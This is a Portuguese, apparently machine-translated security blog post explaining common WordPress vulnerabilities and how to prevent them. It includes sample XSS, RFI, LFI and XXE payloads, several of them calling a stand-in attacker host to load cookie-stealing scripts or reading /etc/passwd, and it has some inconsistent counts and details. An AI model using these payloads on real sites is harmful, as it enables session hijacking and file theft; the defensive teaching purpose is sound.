Vulnerabilidades do WordPress explicadas

Infelizmente, existem vulnerabilidades do WordPress. Vulnerabilidades do WordPress podem existir em seus plug-ins, seus temas e até mesmo no núcleo do WordPress. E uma vez que o WordPress agora capacita quase 40% de todos os sites, a tarefa de entender as vulnerabilidades é ainda mais importante. Resumindo: você deve estar atento à segurança do seu site.

Se você não é um especialista em segurança do WordPress, entender todas as várias vulnerabilidades do WordPress pode ser assustador. Também pode ser difícil tentar entender os diferentes níveis de gravidade de uma vulnerabilidade, juntamente com os riscos da vulnerabilidade do WordPress.

Este guia definirá as 21 vulnerabilidades mais comuns do WordPress, cobrirá como pontuar a gravidade de uma vulnerabilidade do WordPress, dará exemplos de como um hacker pode explorar a vulnerabilidade e mostrará como essas vulnerabilidades podem ser evitadas. Vamos mergulhar.

O que é uma vulnerabilidade do WordPress?

Uma vulnerabilidade do WordPress é uma fraqueza ou falha em um tema, plug-in ou núcleo do WordPress que pode ser explorado por um hacker. Em outras palavras, as vulnerabilidades do WordPress criam um ponto de entrada que um hacker pode usar para realizar atividades maliciosas.

Lembre-se de que os hackers de sites são quase todos automatizados. Por causa disso, os hackers podem facilmente invadir um grande número de sites em praticamente nenhum momento. Os hackers usam ferramentas especiais que fazem a varredura na Internet, em busca de vulnerabilidades conhecidas.

Hackers gostam de alvos fáceis, e ter um site que executa software com vulnerabilidades conhecidas é como entregar a um hacker as instruções passo a passo para invadir seu site WordPress, servidor, computador ou qualquer outro dispositivo conectado à Internet.

Nossos relatórios mensais de resumo de vulnerabilidade do WordPress cobrem todo o núcleo do WordPress divulgado publicamente, plug-in do WordPress e vulnerabilidades de tema. Nessas comparações, compartilhamos o nome do plugin ou tema vulnerável, as versões afetadas e o tipo de vulnerabilidade.

O que é vulnerabilidade de dia zero?

Quando se trata de vulnerabilidades do WordPress, é importante entender a definição de vulnerabilidade de dia zero. Como a vulnerabilidade foi divulgada ao público, o desenvolvedor tem zero dias para corrigir a vulnerabilidade. E isso pode ter grandes implicações para seus plug-ins e temas.

Normalmente, um pesquisador de segurança descobrirá uma vulnerabilidade e a divulgará em particular para os desenvolvedores da empresa que possuem o software. O pesquisador de segurança e o desenvolvedor concordam que todos os detalhes serão publicados assim que um patch for disponibilizado. Pode haver um pequeno atraso na divulgação da vulnerabilidade após o lançamento do patch para dar a mais pessoas tempo para atualizar as principais vulnerabilidades de segurança.

No entanto, se um desenvolvedor não responder ao pesquisador de segurança ou não fornecer um patch para a vulnerabilidade, o pesquisador pode divulgar publicamente a vulnerabilidade para pressionar o desenvolvedor a emitir um patch.

Revelar publicamente uma vulnerabilidade e aparentemente introduzir um dia zero pode parecer contraproducente. Mas, é a única alavanca que um pesquisador tem para pressionar o desenvolvedor a corrigir a vulnerabilidade.

O Projeto Zero do Google tem diretrizes semelhantes no que diz respeito à divulgação de vulnerabilidades. Eles publicam todos os detalhes da vulnerabilidade após 90 dias. Se a vulnerabilidade foi corrigida ou não.

A vulnerabilidade está aí para qualquer pessoa encontrar. Se um hacker encontrar a vulnerabilidade antes que o desenvolvedor libere um patch, ele se torna o pior pesadelo do usuário final…. Um dia zero explorado ativamente.

O que é uma vulnerabilidade de dia zero ativamente explorada?

Uma vulnerabilidade de dia zero ativamente explorada é exatamente o que parece. É uma vulnerabilidade não corrigida que os hackers têm como alvo, atacam e exploram ativamente.

No final de 2018, os hackers exploravam ativamente uma vulnerabilidade grave do WordPress no plugin WP GDPR Compliance. A exploração permitiu que usuários não autorizados - mais sobre isso na próxima seção - modificassem as configurações de registro do usuário WP e alterassem a nova função de usuário padrão de assinante para administrador.

Esses hackers descobriram essa vulnerabilidade antes do plugin WP GDPR Compliance e dos pesquisadores de segurança. Portanto, qualquer site que tivesse o plugin instalado era uma marca fácil e garantida para os cibercriminosos.

Como se proteger de uma vulnerabilidade de dia zero

A melhor maneira de proteger seu site de uma vulnerabilidade Zero-Day é desativar e remover o software até que a vulnerabilidade seja corrigida. Felizmente, os desenvolvedores do plugin WP GDPR Compliance agiram rápido e lançaram um patch para a vulnerabilidade no dia seguinte à sua divulgação pública.

Vulnerabilidades não corrigidas tornam seu site um alvo fácil para hackers.

Vulnerabilidades não autenticadas vs. autenticadas do WordPress

Existem mais dois termos com os quais você precisa estar familiarizado ao falar sobre as vulnerabilidades do WordPress.

1. Não autenticado - uma vulnerabilidade não autenticada do WordPress significa que qualquer pessoa pode explorar a vulnerabilidade.
2. Autenticado - uma vulnerabilidade autenticada do WordPress significa que requer um usuário conectado para explorar.

Uma vulnerabilidade que requer um usuário autenticado é muito mais difícil para um hacker explorar, especialmente se requer privilégios de nível de administrador. E, se um hacker já tiver em mãos um conjunto de credenciais de administrador, ele realmente não precisa explorar uma vulnerabilidade para causar estragos.

Há uma ressalva. Algumas vulnerabilidades autenticadas requerem apenas recursos de nível de assinante para serem exploradas. Se o seu site permite que qualquer pessoa se registre, realmente não há muita diferença entre isso e uma vulnerabilidade não autenticada.

19 vulnerabilidades comuns do WordPress explicadas

Quando se trata de vulnerabilidades do WordPress, existem 21 tipos comuns de vulnerabilidades. Vamos cobrir cada um desses tipos de vulnerabilidade do WordPress.

1. Bypass de autenticação

Uma vulnerabilidade de Bypass de autenticação permite que um invasor ignore os requisitos de autenticação e execute tarefas normalmente reservadas para usuários autenticados.

A autenticação é o processo de verificação da identidade de um usuário. O WordPress exige que os usuários digitem um nome de usuário e uma senha para verificar sua identidade.

Exemplo de desvio de autenticação

Os aplicativos verificam a autenticação com base em um conjunto fixo de parâmetros. Um invasor pode modificar esses parâmetros para obter acesso a páginas da Web que normalmente exigem autenticação.

Um exemplo muito básico de algo assim é um parâmetro de autenticação no URL.

 https:/my-website/some-plugint?param=authenticated&param=no

O URL acima possui um parâmetro de autenticação com valor no. Assim, quando visitarmos esta página, seremos apresentados a uma mensagem informando que não estamos autorizados a visualizar as informações nesta página.

No entanto, se a verificação de autenticação foi mal codificada, um invasor pode modificar o parâmetro de autenticação para obter acesso à página privada.

 https:/my-website/some-plugint?param=authenticated&param=yes

Neste exemplo, um hacker pode alterar o valor de autenticação no URL para sim para ignorar o requisito de autenticação para visualizar a página.

Como Prevenir a Prevenção de Desvio de Autenticação

Você pode ajudar a proteger seu site contra vulnerabilidades de autenticação quebrada usando a autenticação de dois fatores.

2. Vulnerabilidade de backdoor

Uma vulnerabilidade de backdoor permite que usuários autorizados e não autorizados contornem as medidas normais de segurança e obtenham acesso de alto nível a um computador, servidor, site ou aplicativo.

Exemplo de backdoor

Um desenvolvedor cria um backdoor para que possa alternar rapidamente entre a codificação e o teste do código como um usuário administrador. Infelizmente, o desenvolvedor se esquece de remover a porta dos fundos antes que o software seja lançado ao público.

Se um hacker encontrar a porta dos fundos, ele pode explorar o ponto de entrada para obter acesso de administrador ao software. Agora que o hacker tem acesso de administrador, ele pode fazer todos os tipos de ações maliciosas, como injetar malware ou roubar dados confidenciais.

Como prevenir uma porta dos fundos

Muitos backdoors podem ser resumidos em um problema, configuração incorreta de segurança. Problemas de configuração incorreta de segurança podem ser atenuados removendo quaisquer recursos não utilizados no código, mantendo todas as bibliotecas atualizadas e tornando as mensagens de erro mais gerais.

3. Vulnerabilidade de injeção de objeto PHP

Uma vulnerabilidade de injeção de objeto PHP ocorre quando um usuário envia uma entrada que não é higienizada (o que significa que caracteres ilegais não são removidos) antes de ser passada para a função PHP unserialized() .

Exemplo de injeção de objeto PHP

Aqui está um exemplo do mundo real de uma vulnerabilidade de injeção de objeto PHP no plug-in Sample Ads Manager WordPress que foi originalmente relatado por sumofpwn.

O problema é devido a duas chamadas não seguras para unserialize () no arquivo de plugins sam-ajax-loader.php . A entrada é obtida diretamente da solicitação POST, conforme pode ser visto no código a seguir.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Esse problema pode resultar na entrada e execução de um código malicioso por um invasor.

Como prevenir a injeção de objetos PHP

Não use a função unserialize() com a entrada fornecida pelo usuário, use funções JSON.

4. Vulnerabilidade de script entre sites

Uma vulnerabilidade XSS ou Cross-Site Scripting ocorre quando um aplicativo da web permite que os usuários adicionem código personalizado no caminho da URL. Um invasor pode explorar a vulnerabilidade para executar código malicioso no navegador da vítima, criar um redirecionamento para um site malicioso ou sequestrar uma sessão de usuário.

Existem três tipos principais de XSS, refletidos. armazenado e baseado em DOM

5. Vulnerabilidade de script entre sites refletida

Um Reflected XSS ou Reflected Cross-Site Scripting ocorre quando um script malicioso é enviado em uma solicitação de cliente - uma solicitação feita por você em um navegador - para um servidor e é refletido de volta pelo servidor e executado por seu navegador.

Exemplo refletido de script entre sites

Digamos que yourfavesite.com exija que você esteja conectado para visualizar parte do conteúdo do site. E digamos que este site não codifique as entradas do usuário corretamente.

Um invasor pode tirar proveito dessa vulnerabilidade criando um link malicioso e compartilhando-o com usuários de yourfavesite.com em e-mails e postagens de mídia social.

O invasor usa uma ferramenta de redução de URL para fazer o link malicioso parecer não ameaçador e muito clicável, yourfavesite.com/cool-stuff . Mas, quando você clica no link encurtado, o link completo é executado pelo seu navegador yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

Depois de clicar no link, você será levado para yourfavesite.com , e o script malicioso será refletido de volta para o seu navegador, permitindo que o invasor sequestre seus cookies de sessão e conta yourfavesite.com .

Como evitar scripts entre sites refletidos

A regra nº 5 na folha de dicas de prevenção de cross-scripting OWASP é a codificação de URL antes de inserir dados não confiáveis ​​em valores de parâmetro de URL HTML. Esta regra pode ajudar a evitar a criação de uma vulnerabilidade XSS refletida ao adicionar dados não confiáveis ​​ao valor do parâmetro HTTP GET.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Vulnerabilidade de script entre sites armazenados

Uma vulnerabilidade de Stored XSS ou Stored Cross-Site Scripting permite que hackers injetem código malicioso e o armazene em um servidor de aplicativo da web.

Exemplo de script entre sites armazenados

Um invasor descobre que yourfavesite.com permite que os visitantes incorporem tags HTML na seção de comentários do site. Portanto, o invasor cria um novo comentário:

Ótimo artigo! Confira este outro excelente artigo <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Nota: Uma vulnerabilidade XSS refletida exigiria que um visitante clique no link do código malicioso para executar. Um ataque XSS armazenado requer apenas que a página que contém o comentário seja visitada. O código malicioso é executado a cada carregamento de página.

Agora que nosso vilão adicionou o comentário, todos os futuros visitantes desta página serão expostos ao seu script malicioso. O script está hospedado no site do bandido e tem a capacidade de sequestrar cookies de sessão de visitantes e contas yourfavesite.com .

Como evitar scripts entre sites armazenados

A regra nº 1 na folha de dicas de prevenção de cross-scripting OWASP é a codificação HTML antes de adicionar dados não confiáveis ​​aos elementos HTML.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Codificar os caracteres a seguir para evitar a mudança para qualquer contexto de execução, como script, estilo ou manipuladores de eventos. O uso de entidades hexadecimais é recomendado na especificação.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Vulnerabilidade de script entre sites baseada em modelo de objeto de documento

Uma vulnerabilidade XSS baseada em DOM ou Document Object-Based Cross-Site Scripting ocorre quando o script do lado do cliente de um site grava dados fornecidos pelo usuário no Document Object Model (DOM). O site então lê a data do usuário no DOM e a envia para o navegador do visitante.

Se os dados fornecidos pelo usuário não forem tratados adequadamente, um invasor pode injetar um código malicioso que será executado quando o site ler o código do DOM.

Nota: XSS refletido e armazenado são problemas do lado do servidor, enquanto o XSS baseado em DOM é um problema do cliente (navegador).

Exemplo de script entre sites baseado em modelo de objeto de documento

Uma maneira comum de explicar um ataque DOM XSS é uma página de boas-vindas personalizada. Depois de criar uma conta, digamos que yourfavesite.com você seja redirecionado para uma página de boas-vindas personalizada para recebê-lo por nome usando o código abaixo. E o nome do usuário é codificado no URL.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

Portanto, teríamos um URL de yourfavesite.com/account?name=yourname .

Um invasor pode realizar um ataque XSS baseado em DOM enviando o seguinte URL para o novo usuário:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Quando o novo usuário clica no link, seu navegador envia uma solicitação de:

 /account?name=<script>alert(document.cookie)</script>

para bad-guys.com . O site responde com a página que contém o código Javascript acima.

O navegador do novo usuário cria um objeto DOM para a página, no qual o objeto document.location contém a string:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

O código original na página não espera que o parâmetro padrão contenha marcação HTML, ecoando a marcação na página. Em seguida, o navegador do novo usuário renderizará a página e executará o script do invasor:

 alert(document.cookie)

Como evitar scripts entre sites com base em DOM

A regra nº 1 na folha de dicas de prevenção de scripts entre sites OWASP Dom é escapar do HTML. Então, o JS escapa antes de adicionar dados não confiáveis ​​ao subcontexto HTML dentro do contexto de execução.

Métodos HTML perigosos de exemplo:

Atributos

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

Métodos

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Para fazer atualizações dinâmicas em HTML no DOM safe, o OWASP recomenda:

1. Codificação HTML, e então
2. JavaScript codificando todas as entradas não confiáveis, conforme mostrado nestes exemplos:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Vulnerabilidade de falsificação de solicitação entre sites

Uma vulnerabilidade CSRF ou Cross-Site Request Forgery ocorre quando um criminoso cibernético engana um usuário para que ele execute ações indesejadas. O invasor falsifica a solicitação do usuário para um aplicativo.

Exemplo de falsificação de solicitação entre sites

Em nosso resumo de vulnerabilidades do WordPress de janeiro de 2020, relatamos a vulnerabilidade Cross-Site Request Forgery encontrada no plug-in Code Snippets. (O plugin foi corrigido rapidamente na versão 2.14.0)

A falta de proteção CRSF do plugin permitiu que qualquer um falsificasse uma solicitação em nome de um administrador e injetasse código executável em um site vulnerável. Um invasor pode ter aproveitado essa vulnerabilidade para executar código mal-intencionado e até mesmo realizar um controle completo do site.

Como evitar falsificação de solicitação entre sites

A maioria das estruturas de codificação tem defesas de token sincronizadas integradas para proteger contra CSRF e devem ser usadas.

Existem também componentes externos, como o CSRF Protector Project, que podem ser usados ​​para proteger as vulnerabilidades do PHP e do Apache CSRF.

9. Vulnerabilidade de falsificação de solicitação do lado do servidor

Uma vulnerabilidade SSRF ou Server-Site Request Forger permite que um invasor engane um aplicativo do lado do servidor para fazer solicitações HTTP a um domínio arbitrário de sua escolha.

Exemplo de falsificação de solicitação do lado do servidor

Uma vulnerabilidade SSRF pode ser explorada para desencadear um ataque Reflected Cross-Site Scripting. Um invasor pode obter um script malicioso em bad-guys.com e exibi-lo a todos os visitantes de um site.

Como evitar falsificação de solicitação do lado do servidor

A primeira etapa para mitigar vulnerabilidades de SSRF é validar as entradas. Por exemplo, se o seu servidor depende de URLs fornecidos pelo usuário para buscar arquivos diferentes, você deve validar o URL e permitir apenas hosts de destino nos quais você confia.

Para obter mais informações sobre a prevenção de SSRF, verifique a folha de dicas OWASP.

10. Vulnerabilidade de escalonamento de privilégios

Uma vulnerabilidade de escalonamento de privilégio permite que um invasor execute tarefas que normalmente requerem privilégios de nível mais alto.

Exemplo de escalonamento de privilégio

Em nosso resumo de vulnerabilidades do WordPress de novembro de 2020, relatamos uma vulnerabilidade de escalonamento de privilégios encontrada no plug-in Ultimate Member (a vulnerabilidade foi corrigida na versão 2.1.12).

Um invasor pode fornecer um parâmetro de matriz para o meta de usuário wp_capabilities que define a função de um usuário. Durante o processo de registro, os detalhes do registro enviados foram passados ​​para a função update_profile , e quaisquer respectivos metadados enviados, independentemente do que foi enviado, seriam atualizados para esse usuário recém-registrado.

A vulnerabilidade basicamente permitiu que um novo usuário solicitasse o administrador ao se registrar.

Como Prevenir o Escalonamento de Privilégios

O iThemes Security Pro pode ajudar a proteger seu site contra o controle de acesso quebrado, restringindo o acesso do administrador a uma lista de dispositivos confiáveis.

11. Vulnerabilidade de execução remota de código

Uma vulnerabilidade RCE ou Remote Code Execution permite que um invasor acesse e faça alterações e até mesmo assuma o controle de um computador ou servidor.

Exemplo de execução remota de código

Em 2018, a Microsoft divulgou uma vulnerabilidade de execução remota de código encontrada no Excel.

Um invasor que explorar com êxito a vulnerabilidade pode executar código arbitrário no contexto do usuário atual. Se o usuário atual estiver conectado com direitos de usuário administrativo, um invasor poderá assumir o controle do sistema afetado. Um invasor pode então instalar programas; visualizar, alterar ou excluir dados; ou crie novas contas com direitos de usuário totais. Os usuários cujas contas são configuradas com menos direitos de usuário no sistema podem ser menos afetados do que os usuários que operam com direitos de usuário administrativo.

Como prevenir a execução remota de código

A maneira mais fácil de mitigar uma vulnerabilidade RCE é validar a entrada do usuário, filtrando e removendo quaisquer caracteres indesejados.

Nossa empresa controladora, Liquid Web, tem um ótimo artigo sobre como prevenir a execução remota de código.

12. Vulnerabilidade de inclusão de arquivo

Uma vulnerabilidade de inclusão de arquivo ocorre quando um aplicativo da web permite que o usuário envie entrada em arquivos ou faça upload de arquivos para o servidor.

Existem dois tipos de vulnerabilidades de inclusão de arquivo, local e remoto.

13. Vulnerabilidade de inclusão de arquivo local

Uma vulnerabilidade LFI ou de inclusão de arquivo local permite que um invasor leia e, às vezes, execute arquivos no servidor de um site.

Exemplo de inclusão de arquivo local

Vamos dar outra olhada em yourfavesite.com , onde os caminhos passados ​​para include instruções não são devidamente limpos. Por exemplo, vamos dar uma olhada no URL abaixo.

 yourfavesite.com/module.php?file=example.file

É possível que um invasor altere o parâmetro de URL para acessar um arquivo arbitrário no servidor.

 yourfavesite.com/module.php?file=etc/passwd

Alterar o valor do arquivo no URL pode permitir que um invasor visualize o conteúdo do arquivo psswd.

Como prevenir a inclusão de arquivos locais

Crie uma lista de arquivos permitidos que a página pode incluir e, em seguida, use um identificador para acessar o arquivo selecionado. Em seguida, bloqueie qualquer solicitação que contenha um identificador inválido.

14. Vulnerabilidade de inclusão de arquivo remoto

Uma vulnerabilidade de RFI ou inclusão de arquivo remoto permite que um invasor inclua um arquivo, geralmente explorando mecanismos de “inclusão de arquivo dinâmico” implementados no aplicativo de destino.

Exemplo de inclusão de arquivo remoto

O WordPress Plugin WP com Spritz foi fechado no repositório do WordPress.org porque tinha uma vulnerabilidade RFI.

Abaixo está o código-fonte da vulnerabilidade:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

O código pode ser explorado alterando o valor do valor content.filter.php?url= . Por exemplo:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Prevenção de inclusão remota de arquivos

Crie uma lista de arquivos permitidos que a página pode incluir e, em seguida, use um identificador para acessar o arquivo selecionado. Em seguida, bloqueie qualquer solicitação que contenha um identificador inválido.

15. Vulnerabilidade de travamento de diretório

Uma vulnerabilidade Directory Traversal ou File Traversal permite que um invasor leia arquivos arbitrários no servidor que está executando um aplicativo.

Exemplo de análise de diretório

As versões 5.7 - 5.03 do WordPress eram vulneráveis ​​a ataques de travessia de diretório porque não conseguiam verificar os dados de entrada do usuário de maneira adequada. Um invasor com acesso a uma conta com pelo menos privilégios de author pode explorar a vulnerabilidade de travessia de diretório e executar código PHP malicioso no servidor subjacente, levando a um controle remoto completo.

Como Prevenir a Traversal do Diretório

Os desenvolvedores podem usar índices em vez de partes reais de nomes de arquivo ao modelar ou usar arquivos de idioma.

16. Vulnerabilidade de redirecionamento malicioso

Uma vulnerabilidade de redirecionamento malicioso permite que um invasor injete código para redirecionar os visitantes do site para outro site.

Exemplo de redirecionamento malicioso

Digamos que você esteja procurando um suéter azul usando a ferramenta de pesquisa de uma boutique online.

Infelizmente, o servidor da boutique não consegue codificar as entradas do usuário corretamente e um invasor pode injetar um script de redirecionamento malicioso em sua consulta de pesquisa.

Então, quando você digita suéter azul no campo de pesquisa da boutique e pressiona Enter, você acaba na página do invasor em vez da página da boutique com suéteres que correspondem à descrição de sua pesquisa.

Como prevenir o redirecionamento malicioso

Você pode se proteger contra redirecionamentos maliciosos, higienizando as entradas do usuário, validando URLs e obter a confirmação do visitante para todos os redirecionamentos externos.

17. Vulnerabilidade de entidade externa XML

Uma vulnerabilidade XXE ou XML External Entity permite que um invasor engane um analisador XML para passar informações confidenciais para uma entidade externa sob seu controle.

Exemplo de entidade externa XML

Um invasor pode explorar uma vulnerabilidade XXE para obter acesso a arquivos confidenciais como etc / passwd, que armazena informações de contas de usuários.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Como Prevenir a Entidade Externa XML

A melhor maneira de evitar o XXE é usar formatos de dados menos complexos, como JSON, e evitar a serialização de dados confidenciais.

18. Ataque de negação de serviço

Um ataque DoS ou de negação de serviço é uma tentativa deliberada de tornar seu site ou aplicativo indisponível para os usuários, inundando-o com tráfego de rede.

Em um ataque de negação de serviço distribuído DDoS , um invasor usa várias fontes para inundar uma rede com tráfego. Um invasor irá sequestrar grupos de computadores infectados por malware, roteadores e dispositivos IoT, para aumentar o fluxo de tráfego.

Exemplo de ataque de negação de serviço

O maior ataque DDoS (negação de serviço distribuído) foi lançado contra a AWS em fevereiro deste ano. A Amazon relatou que o AWS Shield, seu serviço gerenciado de proteção contra ameaças, observou e mitigou esse enorme ataque DDoS. O ataque durou 3 dias e atingiu um pico de 2,3 Terabytes por segundo.

Como prevenir ataques de negação de serviço

Existem 2 maneiras principais de mitigar um ataque DoS.

1. Compre mais hospedagem do que você precisa. Ter recursos extras à sua disposição pode ajudá-lo a enfrentar o aumento da demanda causado por um ataque DoS.
2. Use um firewall no nível do servidor como o Cloudflare. Um firewall pode detectar um pico incomum no tráfego e evitar que seu site fique sobrecarregado.

19. Registro de teclas

O registro de pressionamento de tecla, também conhecido como registro de teclas ou captura de teclado, ocorre quando um hacker monitora e grava secretamente os pressionamentos de tecla dos visitantes do site.

Exemplo de registro de pressionamento de tecla

Em 2017, um hacker instalou com sucesso o JavaScript malicioso no servidor do fabricante de smartphones OnePlus.

Usando o código malicioso, os invasores monitoraram e registraram as teclas digitadas pelos clientes OnePlus conforme eles inseriam os detalhes do cartão de crédito. Os hackers registraram e coletaram as teclas digitadas de 40.000 clientes antes que o OnePlus detectasse e corrigisse o hack.

Como evitar o registro de pressionamento de tecla

Atualize tudo! Normalmente, um invasor precisará explorar outra vulnerabilidade existente para injetar um keylogger em um computador ou servidor. Manter tudo atualizado com os patches de segurança mais recentes impedirá que os hackers instalem um keylogger em seu site ou computador com facilidade.

Bônus: 2 vulnerabilidades de engenharia social e usuário

Vulnerabilidades de software são a única coisa que hackers e cibercriminosos tentam explorar. Os hackers também visam e exploram humanos. Vamos dar uma olhada em algumas maneiras pelas quais podemos ser transformados em vulnerabilidades.

1. Phishing

Phishing é um método de ataque cibernético que usa e-mail, mídia social, mensagens de texto e chamadas telefônicas para induzir a vítima a fornecer informações pessoais. O invasor usará as informações para acessar contas pessoais ou cometer fraude de identidade.

Como detectar um e-mail de phishing

Como aprendemos anteriormente nesta postagem, algumas vulnerabilidades requerem algum tipo de interação do usuário para serem exploradas. Uma maneira de um hacker enganar as pessoas para que participem de seus esforços nefastos é enviando e-mails de phishing.

Aprender como identificar um e-mail de phishing pode evitar que você se meta inadvertidamente nos planos dos cibercriminosos.

4 dicas para identificar um e - mail de phishing :

1. Olhe para o endereço de e-mail de - Se você receber um e-mail de uma empresa, a parte do endereço de e-mail do remetente após o “@” deve corresponder ao nome da empresa.
   
   Se um e-mail representar uma empresa ou entidade governamental, mas estiver usando um endereço de e-mail público como “@gmail”, é sinal de um e-mail de phishing.
   
   Fique atento a erros ortográficos sutis no nome de domínio. Por exemplo, vamos dar uma olhada neste endereço de e-mail [e-mail protegido]. Podemos ver que o Netflix tem um “x” extra no final. O erro de ortografia é um sinal claro de que o e-mail foi enviado por um golpista e deve ser excluído imediatamente.
   
2. Procure erros gramaticais - Um e-mail cheio de erros gramaticais é um sinal de um e-mail malicioso. Todas as palavras podem ser escritas corretamente, mas faltam frases nas frases, o que tornaria a frase coerente. Por exemplo, “Sua conta foi hackeada. Atualize a senha para a segurança da conta ”.
   
   Todo mundo comete erros, e nem todo e-mail com um ou dois erros de digitação é uma tentativa de enganá-lo. No entanto, vários erros gramaticais exigem uma análise mais detalhada antes de responder.
   
3. Anexos ou links suspeitos - vale a pena fazer uma pausa antes de interagir com quaisquer anexos ou links incluídos em um e-mail.
   
   Se você não reconhecer o remetente de um e-mail, não baixe nenhum anexo incluído no e-mail, pois ele pode conter malware e infectar seu computador. Se o e-mail alegar ser de uma empresa, você pode pesquisar suas informações de contato no Google para verificar se o e-mail foi enviado antes de abrir qualquer anexo.
   
   Se um e-mail contiver um link, você pode passar o mouse sobre o link para verificar se o URL está enviando para onde deveria estar.
   
4. Cuidado com as solicitações urgentes - um truque comum usado pelos golpistas é criar um senso de urgência. Um e-mail malicioso pode criar um cenário que requer ação imediata. Quanto mais tempo você tiver para pensar, maior será a chance de identificar que a solicitação vem de um golpista.
   
   Você pode receber um e-mail de seu “chefe” solicitando que você pague a um fornecedor o mais rápido possível ou de seu banco informando que sua conta foi hackeada e que uma ação imediata é necessária.

2. Credenciais fracas

Os usuários têm o potencial de ser a maior vulnerabilidade de segurança do WordPress.

Em uma lista compilada pela Splash Data, a senha mais comum incluída em todos os despejos de dados era 123456. Um despejo de dados é um banco de dados invadido cheio de senhas de usuário despejadas em algum lugar da Internet. Você consegue imaginar quantas pessoas em seu site usam uma senha fraca se 123456 for a senha mais comum em despejos de dados?

Embora 91% das pessoas saibam que reutilizar senhas não é uma prática, 59% das pessoas ainda reutilizam suas senhas em todos os lugares! Muitas dessas pessoas ainda estão usando senhas que sabem que apareceram em um despejo de banco de dados.

Os hackers usam uma forma de ataque de força bruta chamada de ataque de dicionário. Um ataque de dicionário é um método de invadir um site WordPress com senhas comumente usadas que aparecem em despejos de banco de dados. A “Coleção nº 1? A violação de dados hospedada no MEGA hospedado incluiu 1.160.253.228 combinações exclusivas de endereços de e-mail e senhas. Isso é bilhão com um b. Esse tipo de pontuação realmente ajudará um ataque de dicionário a restringir as senhas do WordPress mais comumente usadas.

Credenciais fracas transformam seu login do WordPress em uma vulnerabilidade fácil de ser explorada por hackers.

Como prevenir credenciais fracas

A melhor maneira de evitar credenciais fracas é criando uma política de senha forte e usando a autenticação de dois fatores.

O recurso de Requisitos de Senha do iThemes Security Pro permite forçar os membros de um grupo de usuários a usar uma senha forte , escolher um tempo de expiração da senha , recusar senhas comprometidas e forçar uma alteração de senhas em todo o site para que todos cumpram sua nova política de senha forte.

A autenticação de dois fatores é um processo de verificação da identidade de uma pessoa, exigindo dois métodos separados de verificação. O Google compartilhou em seu blog que o uso de autenticação de dois fatores pode impedir 100% dos ataques de bot automatizados.

O recurso de autenticação de dois fatores do iThemes Security Pro oferece muita flexibilidade ao implementar 2fa em seu site. Você pode habilitar dois fatores para todos ou alguns de seus usuários e pode forçar seus usuários de alto nível a usar 2fa em cada login.

Como proteger seu site WordPress contra vulnerabilidades do WordPress

Vamos dar uma olhada em algumas etapas acionáveis ​​que você pode realizar para proteger seu site contra vulnerabilidades do WordPress.

1. Mantenha seu software WordPress atualizado

Ter um plugin ou tema vulnerável para o qual um patch está disponível, mas não aplicado é o principal culpado de sites WordPress hackeados. Isso significa que a maioria das vulnerabilidades é explorada APÓS o lançamento de um patch para a vulnerabilidade.

A violação altamente relatada do Equifax poderia ter sido evitada se eles tivessem atualizado seu software. Para a violação da Equifax, simplesmente não havia desculpa.

Algo tão simples como atualizar seu software pode protegê-lo. Portanto, não ignore as atualizações do WordPress - as atualizações são um dos componentes mais básicos do WordPress e de toda a segurança da web.

O recurso de gerenciamento de versão do iThemes Security Pro permite personalizar e automatizar as atualizações do WordPress.

2. Acompanhe as vulnerabilidades do WordPress

Manter seus plug-ins e temas atualizados não o protegerá de todas as vulnerabilidades. Alguns plug-ins e temas foram abandonados pelos desenvolvedores que os criaram.

Infelizmente, se um plugin ou tema abandonado tiver uma vulnerabilidade, ele nunca receberá um patch. Os hackers terão como alvo sites que usam esses plug-ins agora permanentemente vulneráveis.

Se você abandonou um plug-in com uma vulnerabilidade conhecida em seu site, está dando aos hackers os planos de que eles precisam para assumir o controle de seu site. É por isso que você deve acompanhar todas as vulnerabilidades mais recentes.

É difícil controlar cada vulnerabilidade do WordPress divulgada e comparar essa lista com as versões de plug-ins e temas que você instalou em seu site. Acompanhar as vulnerabilidades é a diferença entre ter um site seguro e um que os hackers explorem facilmente.

Boas notícias para você! Acompanhamos e compartilhamos todas as vulnerabilidades divulgadas em nossos Roundups de Vulnerabilidades do WordPress.

3. Faça uma varredura em seu site em busca de vulnerabilidades

Uma maneira mais rápida de proteger o seu site de explorações fáceis de hackers é usar varreduras automatizadas para verificar se há vulnerabilidades conhecidas em seus sites.

